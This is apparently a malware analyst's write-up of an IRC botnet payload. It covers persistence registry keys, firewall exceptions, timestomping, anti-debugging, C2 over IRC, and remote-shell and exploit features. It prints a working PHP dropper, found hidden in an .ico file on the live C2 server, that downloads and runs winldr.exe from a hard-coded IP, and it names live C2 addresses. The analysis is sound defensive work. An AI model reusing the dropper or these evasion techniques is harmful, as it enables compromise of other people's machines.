Next up is to analyze the decrypted payload from the previous analysis (BEAR). One interesting thing is that this sample failed to run in the malwr.com sandbox, so I wonder if there’s something in the sample that prevented that or if it was just a random failure.
Looking at strings, I’m finding that it appears to be in the clear and without the same obfuscation as the launcher:
The strings observed are mostly the same as the ones in the prior analysis, the ones recovered from the running process image. I do see one string that I don’t recall seeing in the prior analysis, this one having to do with the registry:
Opening the payload in PEview, we see much more information than last time. One thing I noted was the the date/timegroup in this file was 2009/12/24 13:25:55Z. These can be patched after the fact, but I wonder if this indicates that this is actually a very old sample that has just been repackaged recently.
There are also several imports that are in the clear:
– msvcrt.dll
– kernel32.dll
– ws2_32.dll
– user32.dll
– advapi32.dll
– shell32.dll
I’ve included the full list of imported functions in the report linked to at the end of this analysis, but I’d like to mention a few of them:
WS2_32: WSAStartup, Socket, Bind, Listen, Connect, Send/Recv, GetHostByName, Inet_Addr
This sample uses the lower-level (when compared with a DLL such as wininet.dll) library to establish networking. Using WS2_32 can require more “construction” of various parts of traffic, such as headers. This can lead to more signatures within the malware itself – possibly hard coded user agents, for instance, or typos that are slightly different than a legitimate user agent. GetHomeByName is used to resolve a domain name, while Inet_Addr is used to convert that resolved IP address string to something for other functions to use. WSAStartup is used to initialize networking, so a good way to find where the networking functionality begins is to look for this function in the disassembly or set a breakpoint for this function in the debugger. One thing I find curious about these imports is that it seems that there is a function missing here. Between a client-side and server-side instance, here are what you would typically see:
Client side calls:
1. WSAStartup (initialize networking)
2. Socket (creates the socket)
3. Connect (connects to the remote socket)
4. Send/Recv as appropriate
Server side calls:
1. WSAStartup
2. Socket
3. Bind (attaches the socket to a port)
4. Listen (sets the socket to listen for traffic)
5. Accept (waits for an incoming connection from a remote system)
6. Send/Recv as appropriate
What’s absent from the imported functions above is Accept. I double checked, and I do not see that being imported. This would only be required under the server side calls – I’m guessing that this malware is a client, however given the number of functions imported I’m a bit surprised to see Accept missing from the list. Perhaps this is an oversight, or maybe this function is called some other way (an indirect call like CALL EAX), or finally it might be a clue as to the malware’s function.
Kernel32: CreatePipe, PeekNamedPipe
Pipes can be used to simplify connectivity to a remote C2 server. PeekNamedPipe is called to copy data from a named pipe without removing it.
Kernel32: CreateMutexA
Mutexes are sometimes created to help ensure that multiple instances of the malware are not running at the same time on the same machine. The malware will check for the presence of the mutex and then exit if found. This can also be a good way to find host-based signatures, in the event of a hard-coded (fixed) mutex name. Later on, we actually do observe a mutex created (dc3d5c2012d372867 88b94a5d50d7a3cf0).
ADVAPI32: CryptAcquireContextA, CryptReleaseContext, CryptGenRandom
CryptAcquireContextA is used to initialize windows encryption. The others relate to other encryption functions.
Kernel32: GetTickCount, QueryPerformanceCounter
These both can be used in anti-debugging operations, however they can also have other uses as well. For example, in the BEAR launcher we saw that GetTickCount was essentially used to seed a random number generating function.
Kernel32: SetFileTime
This can be used to modify the creation/last access/last modified dates and times on files, which can be used to hide malicious modifications to files on a victim machine.
Shell32: ShellExecuteA
This is used to execute a new program – I wonder if this will be used to run the self-deletion batch file, or something else. I’ll be looking out for new processes and calls to this in the disassembly and debugger.
ADVAPI32: RegClose/Open/CreateKey, RegDelete/Enum/Query/SetValue
I see several functions that are used to create, open and close registry keys as well as look for, delete and/or set values in keys. We saw that the BEAR launcher achieved persistence via the registry, so this is probably what is happening here.
Kernel32: GetLocaleInfoA
I’m curious to see how the malware uses this function – does the payload behave differently based on where the host is located, or upon the language of the victim?
Kernel32: WriteFile, CopyFileA, DeleteFileA
I always like to see these, because it means that I should see something created or removed that could either lead to more clues to functionality or act as a good host-based signature.
As a side note, once grouping of functions that I am not seeing is the set of functions associated with process replacement or injection, which we did see in the BEAR launcher.
Checking out KANAL, there’s a few different things here. First, it picks up the base64 index that we could see above in the results from strings. Next thing is that it picks up on a call to an imported crypto function. Final thing is that it sees is constants for MD5. It’ll be interesting to check these references out in the disassembly to see how these are being used.
Dynamic Analysis
During the analysis of the BEAR launcher, it was observed that the behavior was much different when running the sample as a regular user (i.e., not as an admin). For this reason, I opted to run the payload as admin and skip testing as a regular user, with the assumption that the payload would be similarly affected.
One change immediately noticed was the addition of the following keys to the registry:
HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
We saw one of these exact keys earlier, in the strings output:
Looking in the registry at this location reveals:
HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\Windows\system32\spooIsv.exe: “C:\Windows\system32\spooIsv.exe:*:Enabled:Windows DLL Loader”
This value was also added:
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows DLL Loader: “C:\Windows\system32\spooIsv.exe”
Next, the following file was added:
c:\Windows\SysWOW64\spooIsv.exe
And the following file was deleted:
c:\MA\lab\payload.exe
The method of deleting the sample was the same as in the other analysis – a randomly named batch file was created (with the same instructions) and this was run to delete both the original payload executable and the batch file.
Oh, look at this – here’s spooIsv.exe, but look at the date/time group:
This is almost certainly the place where we see usage of kernel32.SetFileTime to help hide the sudden appearance of this malicious file. The file is also hidden, and happens to be the exact size of the original sample.
Comparing the MD5 hash of each confirms that it’s the same file:
You can observe further confirmation of this file being added to the registry to run at startup:
As mentioned earlier, we do observe a mutex created:
As far as network activity, nothing different was observed between the prior analysis and this one. For full details, please refer to the BEAR launcher analysis.
The payload exhibits the same behavior as the launcher in terms of the iterations of spawned/replaced processes, so please see the prior analysis for details. However, one difference is that when this payload is executed on its own, it does not create two new processes for replacement – only a single instance of each new process is observed.
Disassembly / Debugging
The disassembly is much easier to follow in the payload when compared with the launcher, thankfully.
One of the first major functions after startup is sub 406845. Many things happen in this sub, and I’ll cover the interesting ones here:
Sub 40650E gets the filename and directory of the running process. Soon after that, the malware looks at the filename of the running process and makes a comparison. Based on this comparison, the malware branches:
If the branch “fails”, then it gets the system directory and then does what I presume is some decoding of strings with a loop:
Here’s an example of one of the decoding functions:
What’s interesting about this block starting at 406885 is that it appears to look for a string (that it concatenates) and it will loop to try and find this string – if successful, it will then jump to 406931 where the registry settings to have the program run at startup are made. If these iterations finally fail (or if the original branch at 40687C is true) then the sub that I call the RegistryAutoruns function is called but in this case to actually delete the registry settings and also log that the malware was uninstalled (this info is sent to C2 using a sub starting at 409003):
Here’s a code snippet to show part of the “CreateBATDeleteAll” sub where we see the batch file being created and executed via ShellExecuteA:
Another couple of blocks of code within this overall function includes sub 40642D which contains the code for setting up the registry keys/values to run the sample at startup:
Within this sub, we also see sub 40627D which makes the registry changes for the firewall access:
Notice also the line that prints a string that logs this change to the system. This generally seems to be a pattern with this malware — you see the string that is recorded for the logging aspect of the function being performed, and then you see calls into the functions that actually perform those actions.
Getting back to the beginning of the disassembly, we see that the system is set to sleep for 1 second (0x3E8) and then the malware creates a mutex:
If there are issues with the mutex creation, then the malware loops back to the code we already discussed. Otherwise, we get to a dense block starting at 409C73:
Stepping through this:
The sub at 4053B1 contains LOTS of plaintext calls to LoadLibraryA and GetProcAddress:
I think most of this stuff we already were aware of, at least on a high level, but some interesting calls to LoadLibrary and GetProcAddress include a load of netapi32.dll and one of the functions used from that is NetScheduleJobAdd which can be used to schedule a run of a program at another time. From this same library is a call to get the address of NetShareEnum which is used to enumerate through network shares and NetUserEnum (similar but for users).
Sub 405F28 is more of the same, just different libraries and shorter:
Sub 407B36 calls memset and InitializeCriticalSection. Sub 403008 is interesting and I can’t say that I fully understand it, but it appears to obtain random data using the __imp_clock function and transformations of that data. There is a function that I’ve named ClockCallAndTransform that is also called. Here are both functions:
This ClockCallAndTransform is the major thing that happens within 403008 and is also called elsewhere (such as from this overall block of code we’re looking at now).
Sub401EF2 contains calls to set up crypto in this program:
Sub 401000 sets up the base64 index in a spot beginning at 40EAD0:
Sub 4020DF has to do with MD5 encoding, with several subfunctions. One of its first subs is 401478 where we see the MD5 constants set up:
The next two calls are to 4014A0 and 40153F, which themselves work with a function at 40160C, which appears to be the main MD5 sub. We can see the precomputed MD5 table for each round in plaintext:
This is a LONG sub, stretching from 40160C down to 401EAB. Japanese Media Manager has a post of the assembly code for MD5, in case you are interested (or see references below).
This work done with MD5 is called two additional times (total of 3) and then the mysterious clock function is called four times. This block wraps up with getting the module handle and filename. See below for the fully renamed block:
Pressing on, we see some stuff done with the module handle and filename we gathered at the end of the prior block, and then we get to a denser area starting at 409D28. Sub 406637 is an interesting call in this area. In this sub we see a lot of calls to some of the same functions discussed earlier (the ones setting up persistence, creating the batch file, etc.) but we also see an interesting call at 406382 which is where we see the file time being faked on the installed copy of the malware:
After this is done, then we see the call to WSAStartup which is the beginning of the network activity (at location 409D48). A small block begins at 409D4E, and the first sub called (408D4A) contains lots of networking setup activity via WS2_32 function calls. Throughout all of these calls there are also multiple calls to the XOR transformation subs already discussed and labelled.
There is one very interesting sub within this big mess, though, which is at 408A9F. This is the sub where the initial communication with C2 is handled via IRC. First, clock data is gathered with a call to a sub at 4069B5. Following this, there’s a block at 408A9F where we see the connection password is sent which must be done before the user registration takes place:
Soon after, we see the creation of the user registration string that is then sent to C2 starting at 408B43:
After this, some checks are done on a couple of the arguments passed to the function and then the system will either branch to start what appears to be a system inventory or it will connect with the generated nick on the IRC server. There is a call to a sub at 407A55 which calls GetTickCount and QueryPerformanceCounter twice and then carries out transformations of various types on the returned values. Another sub within the system inventory branch is 4070D9 which collects the locale info. This sub checks to see if the locale returned is “USA” so I wonder if this is an indication of targeting of particular users. A call to 407750 finds the connected drives and their sizes. A call to 4074B2 XORs four strings and then also sets up commo using those strings, then later we see a call to GetVersionExA and then the major version is checked to see if the host is running Windows XP or something else (Windows 5.1):
After this, we see what looks pretty much like the construction of the nick for the malware’s IRC connection, and then the channel name #balengor:
I’m guessing that this system inventory info might have some role in the way the nick is constructed. It would make sense that the nick would be used to give the author(s) an idea of what system type and capabilities are associated with each nick. Lower we see where the NICK command is actually sent to the C2 channel:
Now, stepping WAAAAY back out several levels back to the block starting at 409D4E, the next call there after we’ve done all this system inventory and bot registration on IRC is the sub at 4079DE. This is another sub that takes two calls to GetTickCount and QueryPerformanceCounter and then does transformations with them. I’m stating to think that these are some sort of random data generator and not involved with anti-analysis.
The next major block is at 409D71, which consists essentially of a call to a tiny sub that will MOV a socket into EAX and then a call that sets up and calls the select function from WS2_32, which will determine the status of a socket to perform synchronous I/O. We see another branch from there that will call recv in WS2_32:
One interesting little thing here:
We see this floating around – in the prior analysis it was observed that the PING commands sent via IRC happened roughly every 90 seconds – this helps confirm that the stuff being done with the clock is used to generate random data. I guess the author(s) thought that sending these commands at exactly 90 second intervals would attract attention, so this mechanism was put in place to make sure that the commands were sent slightly randomly but still close to the 90 second interval.
This entire section loops continuously:
Sub 409B98 appears to be where the data from C2 that was obtained with the call to recv is processed. Some highlights from inside this and subordinate subs:
Checking for certain IRC traffic:
Here’s an interesting spot where the program appears to set itself up to look at the base64 encoded string from the topic in the C2 IRC channel #balengor:
Sub 401022 is where we see that string being worked with:
I’m calling the sub at 409B98 “GetCommandsFmTopic”. A few levels into this sub, after doing some work to parse through input received through the C2 IRC channel, we see this sort of innocuous call:
This leads us to a HUGE sub, look at this graph:
I was kind of hoping that I was getting near the end and could wrap this up soon…
4090AE seems to be the main sub where it appears all of the functionality is controlled. The structure looks like a series of if-statements that take the input from C2 to the malware and check the strings and then take actions. For example, the first thing it does is check for the string “PING”:
If it sees “PING”, then it branches elsewhere and sends this command to the IRC channel:
It checks for PING, PONG, MODE, PRIVMSG, etc. At some point we see a check for “433”:
If 433 is detected, i.e., if the jump is NOT followed, then we proceed to an area where the various subs are called to hide the installed malware with a fake file time and delete the original files, check for the locale, do an inventory of drive types and size, get OS info, and then send the NICK command in IRC (I’m only including one of the earlier screenshots because it’s a lot of material to post otherwise):
Other branches give interesting results. Seeing the string “ERROR” seems to send the bot down the path of taking a system inventory and then registering itself; the “JOIN” string can take you down a path where the USERHOST command registers the host the bot is connecting from or it can take you down another path where you check for “001”. This has you set the user mode and join the channel. “451” registers the bot on IRC. “302” leads you down a path where you check for data with an @ in it, probably a userhost string. “NICK” can have you copy a string (I’m assuming the bot nick on the server). “332” has you do some decoding of a base64 string, probably the channel topic that we’ve already seen. The size of this sub itself makes it hard to analyze.
Speaking of hard to analyze, I found a sub that contains two calls to rdtsc (sub 40700B). This function can be used to test for the presence of a debugger. It returns the number of ticks since last reboot, and what a program can do is call it twice (which this one does) and then check to see how long has elapsed between the tests (which this does, it compares the value returned with 1000000). The idea is that if an unreasonably long amount of time has passed, then the assumption is that the program is operating in a debugger. This program appears to just loop endlessly if the two calls take too long. A tick represents 100 nanoseconds, so 1000000 ticks is 0.001 seconds (1 millisecond) so not very long at all. Anyone debugging this function would absolutely get stuck there unless they executed past it or patched the code. Something else must be done to the results, though, because you also see that there’s a call to Sleep for 1000 milliseconds after the first rdtsc call, but I didn’t look into this more as I wanted to keep moving on.
One of the branches in 4090AE connects to another huge sub at 40830A – look at this graph:
This sub does all kinds of interesting things:
– Base64 decoding (again, I’m thinking the channel topic)
– Download a new .exe file (probably an update to the bot software) which actually encompasses several interesting subs: 404866 which is used to set up things like ports and addresses depending on the protocol used (http/80, ftp/21, tftp/69) and under that sub 40464E which constructs an HTTP header if necessary. I also noted that the ftp service is set up as anonymous – if I can find the address, then I could possibly log in anonymously and find more files.
– Quit and restart
– Quit and change servers (that’s interesting…)
– Install or uninstall the malware
– Report system uptime
– Scan IPs
– Run exploits against a list of IPs (sub 403698 is called by sub 403861 to do this)
– List exploit statistics (sub 40399A)
– Start a “Remote command thread” with sub 4042A7 (a remote shell and also the ability to execute remote files)
– Gather extensive system and OS info (to include naming the Windows version found) within sub 40740E | 407132. The malware will recognize a range of versions from Window 95 up to XP/2003, as well as gather processor info.
– Gather network adapter info through subs 407718 | 407523. This will also rate each one as Good / Avarage [sic] / Bad.
– Gather drive info (types and sizes) through subs 4079A6 | 4077CA.
The actual sub that creates the remote shell (403FF3) is actually pretty cool. You can watch it step through the entire process of finding cmd.exe, creating a pipe, duplicating a handle/creating a new process, calling PeekNamedPipe to get data from the pipe without removing it, etc. along with a few error messages.
That pretty much covers the disassembly, at least as far as I want to take it since I need to move on to other things. Debugging was largely unsuccessful, I suspect there are some anti-debugging things going on but I’m not looking into this right now.
I did try to connect to the malware C2 site (37.59.118.41) over anonymous FTP and was able to log in. I found an empty pub folder and three .ico files in the directory. I opened one of the .ico files in notepad++ and found this:
<?php
error_reporting(0);
$ln = “http://37.59.118.41/”;
$nm = “winldr.exe”;
$bt = implode(“”, array(‘f’,’.’,’b’,’a’,’t’
$fl = $ln . $nm;
$bc = “START ” . $nm;
function fileDL ($uf, $pf)
{
$nfn = $pf;
$fn = fopen ($uf, “rb”);
if (!$fn) exit;
$nuf = fopen ($nfn, “wb”);
if (!$nuf) exit;
while(!feof($fn))
fwrite($nuf, fread($fn, 1024 * 8 ), 1024 * 8 );
fclose($fn);
fclose($nuf);
}
fileDL($fl,$nm);
$bf = fopen($bt,”w”);
if(!$bf) exit;
fwrite($bf,$bc);
fclose($bf);
exec($bt);
?>
Well, that’s interesting. Basically what this does is:
– creates a batch file called f.bat that will contain START winldr.exe
– downloads the winldr.exe file in 8k chunks
– executes f.bat which will start winldr.exe as a service
Thanks to the Captain for taking a look at the PHP.
This is what I get when I visit the malware IP with a browser:
No, the live chat button didn’t work. Would have been interesting.
An address of http://37.59.118.41/winldr.exe however, does result in a 24kb file being downloaded.
I tried running the original payload in a debugger to see if I could catch the password being sent, didn’t have any luck. However, I noticed this:
A new C2 domain and port? I tried connecting there via IRC but was unsuccessful.
I need to move on from this sample, but I did do a little observation of winldr.exe and here are the most interesting things that I observed. This sample seems to scan IP addresses, as within a couple of minutes I saw it connect and disconnect from about 9,600 IP addresses (list attached to this post, see below). I also noticed that this piece created 94 threads in a row at one point. Winldr.exe does connect to the C2 server, but to a different channel (#j) and with a different nick format (this instance connected as jlqydetno). One of the online sandboxes had this sample connect to l.kokoke.net on port 8089 (mine didn’t). This file didn’t appear to be packed. A funny thing that I noticed is that one of the functions contains the string “KeepITSimple”:
This file also blows up on Virustotal (42/53 or so). Its size is 24,576 bytes and its hashes are:
winldr.exe hashes:
MD5:6e7b29c6148c94036f7ef7c1f3fa90b9
SHA1:80a80c14d4ab5ae2e08436e4e0536b5a80bfe8ab
SHA256:8b1b55939eb90e878fea2b4013c73ba0421f5d61ab3f52249f44eeaf53f69205
ssdeep:384:tFETgfzaRXAojQiZuRBXnXAWe9drTLUonW41ldc2H0:tYgrmQiwR6WGVnWi7t0
Anyway, some things I could follow up on in the future include:
– Figure out exactly what causes the debugger to fail
– Determine the nick generation system in use, and try to impersonate a bot account on the C2 server
– Try to log traffic over a long period of time to try to observe actual C2 traffic being sent
– More research on uNkn0wn Crew
References:
https://en.wikipedia.org/wiki/MD5
https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
https://github.com/japanesemediamanager/jmmserver/blob/master/hasher/MD5_asm.asm
Findings and observations:
Robust bot software that offers lots of features to the author or other controller. We saw that there was a detailed system inventory function; ability to (at a minimum) inventory local networks; update the C2 server; update the software; provide troubleshooting info to the author(s) in the event of errors; anti-analysis techniques; remote shell access; remote execution; various methods of hiding the malware and its traffic/activities; presumed encoding features to provide information back to C2 in the form of account names, etc.; and features that allow the bot controller to recon remote systems and also attack those systems. We also found many things in this sample and the previous sample (the launcher) to obfuscate the bot code such as encryption (AES) and other encoding (MD5, base64, xor).
Recommendations:
Same recommendations as noted in the analysis of the launcher. One might also consider blocking port 69 for TFTP unless this is actively in use, as this was shown to be one source of downloading updates for this malware.
Conclusion:
Really cool and fascinating bot to work on. Lots of features and functionality for the authors. We saw that not only does it provide some useful features such as the ability to scan and exploit other machines, remote shell access, but also housekeeping functions such as error tracking and reporting and an update feature as well. This was a great sample to work on.
Report:MalEXE001payload-pdf
Scanned IP Address List:IPsScannedByWinldr-exe
Hashes (payload):
MD5:d4851b410d158cf650d3f772e270f305
SHA1:4ee5121b05820e8f04b6560f422180660df29b2d
SHA256:267674ddf67827afa282763e57313fc636f170fbffaf104e69ee4db49d1567d5
ssdeep:1536:daWAQE3GZ8CAu9ax2MaO7tJoQuQQTKZc9q3RXFuEUk:JAQE2UHaO2QQTv4XF9Uk